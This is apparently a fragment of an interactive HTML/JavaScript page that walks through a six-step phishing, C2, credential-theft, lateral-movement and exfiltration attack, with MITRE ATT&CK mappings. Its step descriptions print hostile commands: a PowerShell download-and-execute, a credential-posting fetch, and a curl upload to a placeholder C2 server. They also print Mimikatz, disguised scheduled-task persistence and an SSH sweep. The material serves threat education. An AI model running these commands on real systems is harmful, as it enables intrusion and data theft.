<div class="absolute inset-0 opacity-20">
|
| 83 |
+
<div class="absolute left-1/4 top-0 bottom-0 w-px bg-gray-300"></div>
|
| 84 |
+
<div class="absolute left-2/4 top-0 bottom-0 w-px bg-gray-300"></div>
|
| 85 |
+
<div class="absolute left-3/4 top-0 bottom-0 w-px bg-gray-300"></div>
|
| 86 |
+
<div class="absolute top-1/3 left-0 right-0 h-px bg-gray-300"></div>
|
| 87 |
+
<div class="absolute top-2/3 left-0 right-0 h-px bg-gray-300"></div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 88 |
</div>
|
| 89 |
+
|
| 90 |
+
<!-- Attacker Infrastructure -->
|
| 91 |
+
<div id="attacker" class="attack-node absolute left-[10%] top-[15%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
|
| 92 |
+
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
|
| 93 |
+
<i class="fas fa-user-secret text-red-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 94 |
</div>
|
| 95 |
+
<h3 class="font-bold text-red-800">Attacker</h3>
|
| 96 |
+
<p class="text-xs text-red-600 mt-1">C2: 185.143.223.47</p>
|
| 97 |
</div>
|
| 98 |
+
|
| 99 |
+
<!-- Phishing Server -->
|
| 100 |
+
<div id="phishing" class="attack-node absolute left-[10%] top-[40%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
|
| 101 |
+
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
|
| 102 |
+
<i class="fas fa-server text-red-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 103 |
</div>
|
| 104 |
+
<h3 class="font-bold text-red-800">Phishing Server</h3>
|
| 105 |
+
<p class="text-xs text-red-600 mt-1">aliyun-support[.]com</p>
|
| 106 |
</div>
|
| 107 |
+
|
| 108 |
+
<!-- Malicious Document -->
|
| 109 |
+
<div id="document" class="attack-node absolute left-[10%] top-[65%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
|
| 110 |
+
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
|
| 111 |
+
<i class="fas fa-file-word text-red-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 112 |
</div>
|
| 113 |
+
<h3 class="font-bold text-red-800">Malicious Doc</h3>
|
| 114 |
+
<p class="text-xs text-red-600 mt-1">阿里云安全报告_v2023.pdf</p>
|
| 115 |
</div>
|
| 116 |
+
|
| 117 |
+
<!-- Victim -->
|
| 118 |
+
<div id="victim" class="attack-node absolute left-[35%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
|
| 119 |
+
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
|
| 120 |
+
<i class="fas fa-user text-blue-600 text-xl"></i>
|
| 121 |
</div>
|
| 122 |
+
<h3 class="font-bold text-blue-800">Employee</h3>
|
| 123 |
+
<p class="text-xs text-blue-600 mt-1">user@company.com</p>
|
| 124 |
+
</div>
|
| 125 |
+
|
| 126 |
+
<!-- Compromised Workstation -->
|
| 127 |
+
<div id="workstation" class="attack-node absolute left-[60%] top-[40%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised">
|
| 128 |
+
<div class="bg-yellow-100 p-3 rounded-full inline-block mb-2">
|
| 129 |
+
<i class="fas fa-laptop-code text-yellow-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 130 |
</div>
|
| 131 |
+
<h3 class="font-bold text-yellow-800">Workstation</h3>
|
| 132 |
+
<p class="text-xs text-yellow-600 mt-1">Cobalt Strike Beacon</p>
|
| 133 |
</div>
|
| 134 |
+
|
| 135 |
+
<!-- Internal SSH Server -->
|
| 136 |
+
<div id="ssh-server" class="attack-node absolute left-[60%] top-[15%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
|
| 137 |
+
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
|
| 138 |
+
<i class="fas fa-shield-alt text-blue-600 text-xl"></i>
|
| 139 |
</div>
|
| 140 |
+
<h3 class="font-bold text-blue-800">SSH Server</h3>
|
| 141 |
+
<p class="text-xs text-blue-600 mt-1">10.0.0.5</p>
|
| 142 |
+
</div>
|
| 143 |
+
|
| 144 |
+
<!-- Compromised SSH Server -->
|
| 145 |
+
<div id="compromised-ssh" class="attack-node absolute left-[60%] top-[15%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised hidden">
|
| 146 |
+
<div class="bg-yellow-100 p-3 rounded-full inline-block mb-2">
|
| 147 |
+
<i class="fas fa-shield-alt text-yellow-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 148 |
</div>
|
| 149 |
+
<h3 class="font-bold text-yellow-800">SSH Server</h3>
|
| 150 |
+
<p class="text-xs text-yellow-600 mt-1">10.0.0.5 (Compromised)</p>
|
| 151 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 152 |
|
| 153 |
+
<!-- Internal Database -->
|
| 154 |
+
<div id="database" class="attack-node absolute left-[85%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
|
| 155 |
+
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
|
| 156 |
+
<i class="fas fa-database text-blue-600 text-xl"></i>
|
| 157 |
+
</div>
|
| 158 |
+
<h3 class="font-bold text-blue-800">Database</h3>
|
| 159 |
+
<p class="text-xs text-blue-600 mt-1">10.0.1.10</p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 160 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 161 |
|
| 162 |
+
<!-- Exfiltrated Data -->
|
| 163 |
+
<div id="exfiltration" class="attack-node absolute left-[85%] top-[65%] bg-green-50 p-4 rounded-lg shadow-sm border-2 border-green-300 w-[160px] text-center hidden">
|
| 164 |
+
<div class="bg-green-100 p-3 rounded-full inline-block mb-2">
|
| 165 |
+
<i class="fas fa-cloud-download-alt text-green-600 text-xl"></i>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 166 |
</div>
|
| 167 |
+
<h3 class="font-bold text-green-800">Exfiltrated Data</h3>
|
| 168 |
+
<p class="text-xs text-green-600 mt-1">*.sql, *.pem, *.key</p>
|
| 169 |
+
</div>
|
| 170 |
+
|
| 171 |
+
<!-- Attack Flow Arrows (dynamically drawn with JS) -->
|
| 172 |
+
<svg class="absolute inset-0 w-full h-full" id="attack-flow"></svg>
|
| 173 |
+
|
| 174 |
+
<!-- Attack Timeline Controls -->
|
| 175 |
+
<div class="absolute bottom-4 left-0 right-0 flex justify-center">
|
| 176 |
+
<div class="bg-white rounded-lg shadow-md p-4 flex items-center space-x-4">
|
| 177 |
+
<button id="prev-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300">
|
| 178 |
+
<i class="fas fa-chevron-left"></i>
|
| 179 |
+
</button>
|
| 180 |
+
<div class="text-sm font-medium" id="current-step">Step 1: Initial Phishing</div>
|
| 181 |
+
<button id="next-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300">
|
| 182 |
+
<i class="fas fa-chevron-right"></i>
|
| 183 |
+
</button>
|
| 184 |
+
<button id="play-attack" class="px-3 py-1 bg-blue-100 text-blue-700 rounded-md hover:bg-blue-200 ml-4">
|
| 185 |
+
<i class="fas fa-play mr-1"></i> Play Attack
|
| 186 |
+
</button>
|
| 187 |
</div>
|
| 188 |
+
</div>
|
| 189 |
+
|
| 190 |
+
<!-- Tooltip -->
|
| 191 |
+
<div class="tooltip hidden" id="attack-tooltip"></div>
|
| 192 |
+
</div>
|
| 193 |
+
|
| 194 |
+
<!-- Attack Step Details -->
|
| 195 |
+
<div class="mt-8 bg-white rounded-lg shadow-md p-6">
|
| 196 |
+
<h2 class="text-xl font-bold text-gray-800 mb-4" id="step-title">Step 1: Initial Phishing</h2>
|
| 197 |
+
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
|
| 198 |
+
<div>
|
| 199 |
+
<h3 class="font-medium text-gray-700 mb-2">Technical Details</h3>
|
| 200 |
+
<div class="bg-gray-50 p-4 rounded-md" id="step-details">
|
| 201 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 202 |
+
<li>Email subjects: "紧急通知:阿里云账号异常登录提醒"</li>
|
| 203 |
+
<li>Body mimics official Alibaba Cloud communications</li>
|
| 204 |
+
<li>Contains malicious attachment or phishing link</li>
|
| 205 |
+
<li>Spoofed sender: security@alibaba-inc.com</li>
|
| 206 |
</ul>
|
| 207 |
</div>
|
| 208 |
</div>
|
| 209 |
+
<div>
|
| 210 |
+
<h3 class="font-medium text-gray-700 mb-2">MITRE ATT&CK Mapping</h3>
|
| 211 |
+
<div class="bg-gray-50 p-4 rounded-md">
|
| 212 |
+
<div class="flex items-center mb-2">
|
| 213 |
+
<span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1566.001</span>
|
| 214 |
+
<span>Spearphishing Attachment</span>
|
| 215 |
+
</div>
|
| 216 |
+
<div class="flex items-center">
|
| 217 |
+
<span class="bg-purple-100 text-purple-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1598</span>
|
| 218 |
+
<span>Phishing for Information</span>
|
| 219 |
+
</div>
|
|
|
|
| 220 |
</div>
|
| 221 |
</div>
|
| 222 |
</div>
|
| 223 |
</div>
|
| 224 |
</div>
|
| 225 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 226 |
<script>
|
| 227 |
+
// Attack steps data
|
| 228 |
+
const attackSteps = [
|
| 229 |
+
{
|
| 230 |
+
title: "Step 1: Initial Phishing",
|
| 231 |
+
details: `
|
| 232 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 233 |
+
<li>Email subjects: "紧急通知:阿里云账号异常登录提醒" or "内部会议纪要(机密)"</li>
|
| 234 |
+
<li>Body mimics official Alibaba Cloud communications</li>
|
| 235 |
+
<li>Contains malicious attachment or phishing link</li>
|
| 236 |
+
<li>Attachment: 阿里云安全报告_v2023.pdf (malicious macro)</li>
|
| 237 |
+
<li>Phishing URL: https://aliyun-support[.]com/verify</li>
|
| 238 |
+
<li>Spoofed sender: security@alibaba-inc.com</li>
|
| 239 |
+
<li>Typosquatting domain: al1baba-inc[.]com</li>
|
| 240 |
+
</ul>
|
| 241 |
+
`,
|
| 242 |
+
mitre: [
|
| 243 |
+
{ id: "T1566.001", name: "Spearphishing Attachment" },
|
| 244 |
+
{ id: "T1598", name: "Phishing for Information" }
|
| 245 |
+
],
|
| 246 |
+
draw: (svg) => {
|
| 247 |
+
// Draw line from attacker to phishing server
|
| 248 |
+
drawLine(svg, "#attacker", "#phishing", "red");
|
| 249 |
+
// Draw line from phishing server to victim
|
| 250 |
+
drawLine(svg, "#phishing", "#victim", "red");
|
| 251 |
+
// Draw line from attacker to malicious doc
|
| 252 |
+
drawLine(svg, "#attacker", "#document", "red");
|
| 253 |
+
// Draw line from malicious doc to victim
|
| 254 |
+
drawLine(svg, "#document", "#victim", "red");
|
| 255 |
+
}
|
| 256 |
+
},
|
| 257 |
+
{
|
| 258 |
+
title: "Step 2: Payload Execution",
|
| 259 |
+
details: `
|
| 260 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 261 |
+
<li>Victim opens malicious document and enables macros</li>
|
| 262 |
+
<li>Macro executes PowerShell payload:</li>
|
| 263 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 264 |
+
powershell IEX (New-Object Net.WebClient).DownloadString('http://C2-SERVER/payload.ps1')
|
| 265 |
+
</div>
|
| 266 |
+
<li>Or victim enters credentials on phishing site</li>
|
| 267 |
+
<li>JavaScript steals credentials:</li>
|
| 268 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 269 |
+
fetch('http://C2-SERVER/steal', {<br>
|
| 270 |
+
method: 'POST',<br>
|
| 271 |
+
body: JSON.stringify({user: username, pass: password})<br>
|
| 272 |
+
});
|
| 273 |
+
</div>
|
| 274 |
+
</ul>
|
| 275 |
+
`,
|
| 276 |
+
mitre: [
|
| 277 |
+
{ id: "T1059.001", name: "PowerShell" },
|
| 278 |
+
{ id: "T1204.002", name: "Malicious File" }
|
| 279 |
+
],
|
| 280 |
+
draw: (svg) => {
|
| 281 |
+
// Previous steps
|
| 282 |
+
attackSteps[0].draw(svg);
|
| 283 |
+
|
| 284 |
+
// Highlight victim
|
| 285 |
+
document.querySelector("#victim").classList.add("critical");
|
| 286 |
+
|
| 287 |
+
// Draw line from victim to workstation (compromise)
|
| 288 |
+
drawLine(svg, "#victim", "#workstation", "red", 3);
|
| 289 |
+
|
| 290 |
+
// Draw line from workstation to attacker (C2)
|
| 291 |
+
drawLine(svg, "#workstation", "#attacker", "red", 2, true);
|
| 292 |
+
}
|
| 293 |
+
},
|
| 294 |
+
{
|
| 295 |
+
title: "Step 3: C2 Implantation",
|
| 296 |
+
details: `
|
| 297 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 298 |
+
<li>Cobalt Strike beacon established</li>
|
| 299 |
+
<li>Persistence mechanisms installed:</li>
|
| 300 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 301 |
+
Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br>
|
| 302 |
+
Task: schtasks /create /tn "Windows Update" /tr "C:\Windows\System32\malicious.exe"
|
| 303 |
+
</div>
|
| 304 |
+
<li>C2 configuration:</li>
|
| 305 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 306 |
+
windows/x64/reflective PE<br>
|
| 307 |
+
HTTPS with valid certificate<br>
|
| 308 |
+
Multiple IP rotation via CDN
|
| 309 |
+
</div>
|
| 310 |
+
</ul>
|
| 311 |
+
`,
|
| 312 |
+
mitre: [
|
| 313 |
+
{ id: "T1572", name: "Protocol Tunneling" },
|
| 314 |
+
{ id: "T1547.001", name: "Registry Run Keys" },
|
| 315 |
+
{ id: "T1053", name: "Scheduled Task" }
|
| 316 |
+
],
|
| 317 |
+
draw: (svg) => {
|
| 318 |
+
// Previous steps
|
| 319 |
+
attackSteps[1].draw(svg);
|
| 320 |
+
|
| 321 |
+
// Highlight workstation as compromised
|
| 322 |
+
document.querySelector("#workstation").classList.remove("critical");
|
| 323 |
+
document.querySelector("#workstation").classList.add("compromised");
|
| 324 |
+
|
| 325 |
+
// Draw ongoing C2 communication
|
| 326 |
+
drawLine(svg, "#workstation", "#attacker", "red", 2, true);
|
| 327 |
+
}
|
| 328 |
+
},
|
| 329 |
+
{
|
| 330 |
+
title: "Step 4: Credential Theft",
|
| 331 |
+
details: `
|
| 332 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 333 |
+
<li>Credential harvesting:</li>
|
| 334 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 335 |
+
Mimikatz !sekurlsa::logonpasswords<br>
|
| 336 |
+
Search C:\Users\*\.ssh\id_rsa<br>
|
| 337 |
+
cmdkey /list
|
| 338 |
+
</div>
|
| 339 |
+
<li>Browser cookie theft:</li>
|
| 340 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 341 |
+
Decrypt Chrome/Edge cookies<br>
|
| 342 |
+
Filter for alibaba-inc.com sessions
|
| 343 |
+
</div>
|
| 344 |
+
<li>SSH key discovery:</li>
|
| 345 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 346 |
+
C:\Users\*\.ssh\id_rsa<br>
|
| 347 |
+
C:\Users\*\.ssh\config
|
| 348 |
+
</div>
|
| 349 |
+
</ul>
|
| 350 |
+
`,
|
| 351 |
+
mitre: [
|
| 352 |
+
{ id: "T1555", name: "Credentials from Password Stores" },
|
| 353 |
+
{ id: "T1552.001", name: "Credentials In Files" },
|
| 354 |
+
{ id: "T1539", name: "Steal Web Session Cookie" }
|
| 355 |
+
],
|
| 356 |
+
draw: (svg) => {
|
| 357 |
+
// Previous steps
|
| 358 |
+
attackSteps[2].draw(svg);
|
| 359 |
+
|
| 360 |
+
// Draw credential theft to attacker
|
| 361 |
+
drawLine(svg, "#workstation", "#attacker", "red", 3, true);
|
| 362 |
+
|
| 363 |
+
// Add tooltip to show credential flow
|
| 364 |
+
addTooltip("#workstation", "Sending stolen credentials to C2");
|
| 365 |
+
}
|
| 366 |
+
},
|
| 367 |
+
{
|
| 368 |
+
title: "Step 5: Lateral Movement",
|
| 369 |
+
details: `
|
| 370 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 371 |
+
<li>Internal reconnaissance:</li>
|
| 372 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 373 |
+
nmap -sS 10.0.0.0/24<br>
|
| 374 |
+
for ip in {1..254}; do ssh -o ConnectTimeout=1 user@10.0.0.$ip; done
|
| 375 |
+
</div>
|
| 376 |
+
<li>SSH access using stolen credentials:</li>
|
| 377 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 378 |
+
ssh -i id_rsa user@10.0.0.5<br>
|
| 379 |
+
plink.exe -ssh -P 22 -i id_rsa user@10.0.0.6
|
| 380 |
+
</div>
|
| 381 |
+
<li>Browser proxy for internal access:</li>
|
| 382 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 383 |
+
proxychains4 -q -f /path/to/config.txt firefox<br>
|
| 384 |
+
Proxy config: 1.2.3.4:8080
|
| 385 |
+
</div>
|
| 386 |
+
</ul>
|
| 387 |
+
`,
|
| 388 |
+
mitre: [
|
| 389 |
+
{ id: "T1021.004", name: "Remote Services: SSH" },
|
| 390 |
+
{ id: "T1090", name: "Proxy" },
|
| 391 |
+
{ id: "T1018", name: "Remote System Discovery" }
|
| 392 |
+
],
|
| 393 |
+
draw: (svg) => {
|
| 394 |
+
// Previous steps
|
| 395 |
+
attackSteps[3].draw(svg);
|
| 396 |
+
|
| 397 |
+
// Show compromised SSH server
|
| 398 |
+
document.querySelector("#ssh-server").classList.add("hidden");
|
| 399 |
+
document.querySelector("#compromised-ssh").classList.remove("hidden");
|
| 400 |
+
|
| 401 |
+
// Draw line from workstation to SSH server
|
| 402 |
+
drawLine(svg, "#workstation", "#compromised-ssh", "red", 3);
|
| 403 |
+
|
| 404 |
+
// Add tooltip to show lateral movement
|
| 405 |
+
addTooltip("#compromised-ssh", "Using stolen SSH keys for access");
|
| 406 |
+
}
|
| 407 |
+
},
|
| 408 |
+
{
|
| 409 |
+
title: "Step 6: Data Exfiltration",
|
| 410 |
+
details: `
|
| 411 |
+
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
|
| 412 |
+
<li>Target files for exfiltration:</li>
|
| 413 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 414 |
+
*.pem, *.key, *.sql, *.db
|
| 415 |
+
</div>
|
| 416 |
+
<li>Data collection methods:</li>
|
| 417 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 418 |
+
Browser JavaScript injection:<br>
|
| 419 |
+
document.querySelectorAll('input[type="password"]')
|
| 420 |
+
</div>
|
| 421 |
+
<li>Exfiltration techniques:</li>
|
| 422 |
+
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
|
| 423 |
+
split -b 5MB sensitive.tar.gz | curl -X POST -F 'file=@-' http://C2-SERVER/upload
|
| 424 |
+
</div>
|
| 425 |
+
</ul>
|
| 426 |
+
`,
|
| 427 |
+
mitre: [
|
| 428 |
+
{ id: "T1041", name: "Exfiltration Over C2 Channel" },
|
| 429 |
+
{ id: "T1020", name: "Automated Exfiltration" },
|
| 430 |
+
{ id: "T1567", name: "Exfiltration Over Web Service" }
|
| 431 |
+
],
|
| 432 |
+
draw: (svg) => {
|
| 433 |
+
// Previous steps
|
| 434 |
+
attackSteps[4].draw(svg);
|
| 435 |
+
|
| 436 |
+
// Show exfiltrated data
|
| 437 |
+
document.querySelector("#exfiltration").classList.remove("hidden");
|
| 438 |
+
|
| 439 |
+
// Draw line from database to exfiltration
|
| 440 |
+
drawLine(svg, "#database", "#exfiltration", "green", 3);
|
| 441 |
+
|
| 442 |
+
// Draw line from exfiltration to attacker
|
| 443 |
+
drawLine(svg, "#exfiltration", "#attacker", "green", 3, true);
|
| 444 |
+
|
| 445 |
+
// Add tooltip to show data flow
|
| 446 |
+
addTooltip("#exfiltration", "Sensitive data being exfiltrated to attacker");
|
| 447 |
+
}
|
| 448 |
+
}
|
| 449 |
+
];
|
| 450 |
+
|
| 451 |
+
// Current step index
|
| 452 |
+
let currentStep = 0;
|
| 453 |
+
|
| 454 |
+
// Draw line between elements
|
| 455 |
+
function drawLine(svg, fromSelector, toSelector, color = "red", width = 2, animate = false) {
|
| 456 |
+
const fromEl = document.querySelector(fromSelector);
|
| 457 |
+
const toEl = document.querySelector(toSelector);
|
| 458 |
+
|
| 459 |
+
if (!fromEl || !toEl) return;
|
| 460 |
+
|
| 461 |
+
const fromRect = fromEl.getBoundingClientRect();
|
| 462 |
+
const toRect = toEl.getBoundingClientRect();
|
| 463 |
+
const svgRect = svg.getBoundingClientRect();
|
| 464 |
+
|
| 465 |
+
const x1 = fromRect.left + fromRect.width/2 - svgRect.left;
|
| 466 |
+
const y1 = fromRect.top + fromRect.height/2 - svgRect.top;
|
| 467 |
+
const x2 = toRect.left + toRect.width/2 - svgRect.left;
|
| 468 |
+
const y2 = toRect.top + toRect.height/2 - svgRect.top;
|
| 469 |
+
|
| 470 |
+
const line = document.createElementNS("http://www.w3.org/2000/svg", "line");
|
| 471 |
+
line.setAttribute("x1", x1);
|
| 472 |
+
line.setAttribute("y1", y1);
|
| 473 |
+
line.setAttribute("x2", x2);
|
| 474 |
+
line.setAttribute("y2", y2);
|
| 475 |
+
line.setAttribute("stroke", color);
|
| 476 |
+
line.setAttribute("stroke-width", width);
|
| 477 |
+
line.setAttribute("stroke-linecap", "round");
|
| 478 |
+
|
| 479 |
+
if (animate) {
|
| 480 |
+
line.classList.add("data-flow");
|
| 481 |
+
}
|
| 482 |
+
|
| 483 |
+
svg.appendChild(line);
|
| 484 |
+
}
|
| 485 |
+
|
| 486 |
+
// Add tooltip to element
|
| 487 |
+
function addTooltip(selector, text) {
|
| 488 |
+
const el = document.querySelector(selector);
|
| 489 |
+
const tooltip = document.getElementById("attack-tooltip");
|
| 490 |
+
|
| 491 |
+
if (!el || !tooltip) return;
|
| 492 |
+
|
| 493 |
+
el.addEventListener("mouseenter", (e) => {
|
| 494 |
+
const rect = el.getBoundingClientRect();
|
| 495 |
+
tooltip.textContent = text;
|
| 496 |
+
tooltip.style.left = `${rect.left + rect.width/2 - 150}px`;
|
| 497 |
+
tooltip.style.top = `${rect.top - 40}px`;
|
| 498 |
+
tooltip.classList.remove("hidden");
|
| 499 |
+
});
|
| 500 |
+
|
| 501 |
+
el.addEventListener("mouseleave", () => {
|
| 502 |
+
tooltip.classList.add("hidden");
|
| 503 |
+
});
|
| 504 |
+
}
|
| 505 |
|
| 506 |
+
// Update visualization for current step
|
| 507 |
+
function updateVisualization() {
|
| 508 |
+
const svg = document.getElementById("attack-flow");
|
| 509 |
+
svg.innerHTML = "";
|
| 510 |
+
|
| 511 |
+
// Reset all elements
|
| 512 |
+
document.querySelectorAll(".attack-node").forEach(el => {
|
| 513 |
+
el.classList.remove("critical", "compromised");
|
| 514 |
+
el.classList.remove("hidden");
|
| 515 |
+
});
|
| 516 |
+
document.getElementById("exfiltration").classList.add("hidden");
|
| 517 |
+
document.getElementById("compromised-ssh").classList.add("hidden");
|
| 518 |
+
document.getElementById("ssh-server").classList.remove("hidden");
|
| 519 |
+
|
| 520 |
+
// Draw current step
|
| 521 |
+
attackSteps[currentStep].draw(svg);
|
| 522 |
+
|
| 523 |
+
// Update step info
|
| 524 |
+
document.getElementById("step-title").textContent = attackSteps[currentStep].title;
|
| 525 |
+
document.getElementById("step-details").innerHTML = attackSteps[currentStep].details;
|
| 526 |
+
document.getElementById("current-step").textContent = attackSteps[currentStep].title;
|
| 527 |
+
|
| 528 |
+
// Update MITRE ATT&CK
|
| 529 |
+
const mitreContainer = document.querySelector(".bg-gray-50 > div:last-child");
|
| 530 |
+
mitreContainer.innerHTML = attackSteps[currentStep].mitre.map(item => `
|
| 531 |
+
<div class="flex items-center mb-2">
|
| 532 |
+
<span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">${item.id}</span>
|
| 533 |
+
<span>${item.name}</span>
|
| 534 |
+
</div>
|
| 535 |
+
`).join("");
|
| 536 |
+
}
|
| 537 |
+
|
| 538 |
+
// Initialize
|
| 539 |
+
document.addEventListener("DOMContentLoaded", () => {
|
| 540 |
+
updateVisualization();
|
| 541 |
+
|
| 542 |
+
// Navigation controls
|
| 543 |
+
document.getElementById("prev-step").addEventListener("click", () => {
|
| 544 |
+
if (currentStep > 0) {
|
| 545 |
+
currentStep--;
|
| 546 |
+
updateVisualization();
|
| 547 |
}
|
| 548 |
});
|
| 549 |
+
|
| 550 |
+
document.getElementById("next-step").addEventListener("click", () => {
|
| 551 |
+
if (currentStep < attackSteps.length - 1) {
|
| 552 |
+
currentStep++;
|
| 553 |
+
updateVisualization();
|
| 554 |
+
}
|
| 555 |
+
});
|
| 556 |
+
|
| 557 |
+
// Play attack animation
|
| 558 |
+
document.getElementById("play-attack").addEventListener("click", () => {
|
| 559 |
+
currentStep = 0;
|
| 560 |
+
updateVisualization();
|
| 561 |
+
|
| 562 |
+
let i = 0;
|
| 563 |
+
const interval = setInterval(() => {
|
| 564 |
+
if (i < attackSteps.length - 1) {
|
| 565 |
+
i++;
|
| 566 |
+
currentStep = i;
|
| 567 |
+
updateVisualization();
|
| 568 |
+
} else {
|
| 569 |
+
clearInterval(interval);
|
| 570 |
+
}
|
| 571 |
+
}, 2000);
|
| 572 |
+
});
|
| 573 |
+
|
| 574 |
+
// Add tooltips to all attack nodes
|
| 575 |
+
addTooltip("#attacker", "Attacker controlled infrastructure");
|
| 576 |
+
addTooltip("#phishing", "Phishing server hosting fake login page");
|
| 577 |
+
addTooltip("#document", "Malicious document with embedded macro");
|
| 578 |
+
addTooltip("#victim", "Targeted employee receiving phishing email");
|
| 579 |
+
addTooltip("#workstation", "Compromised workstation with C2 beacon");
|
| 580 |
+
addTooltip("#ssh-server", "Internal SSH server target");
|
| 581 |
+
addTooltip("#compromised-ssh", "Compromised SSH server via stolen keys");
|
| 582 |
+
addTooltip("#database", "Internal database with sensitive information");
|
| 583 |
+
addTooltip("#exfiltration", "Stolen data being sent to attacker");
|
| 584 |
});
|
| 585 |
</script>
|
| 586 |
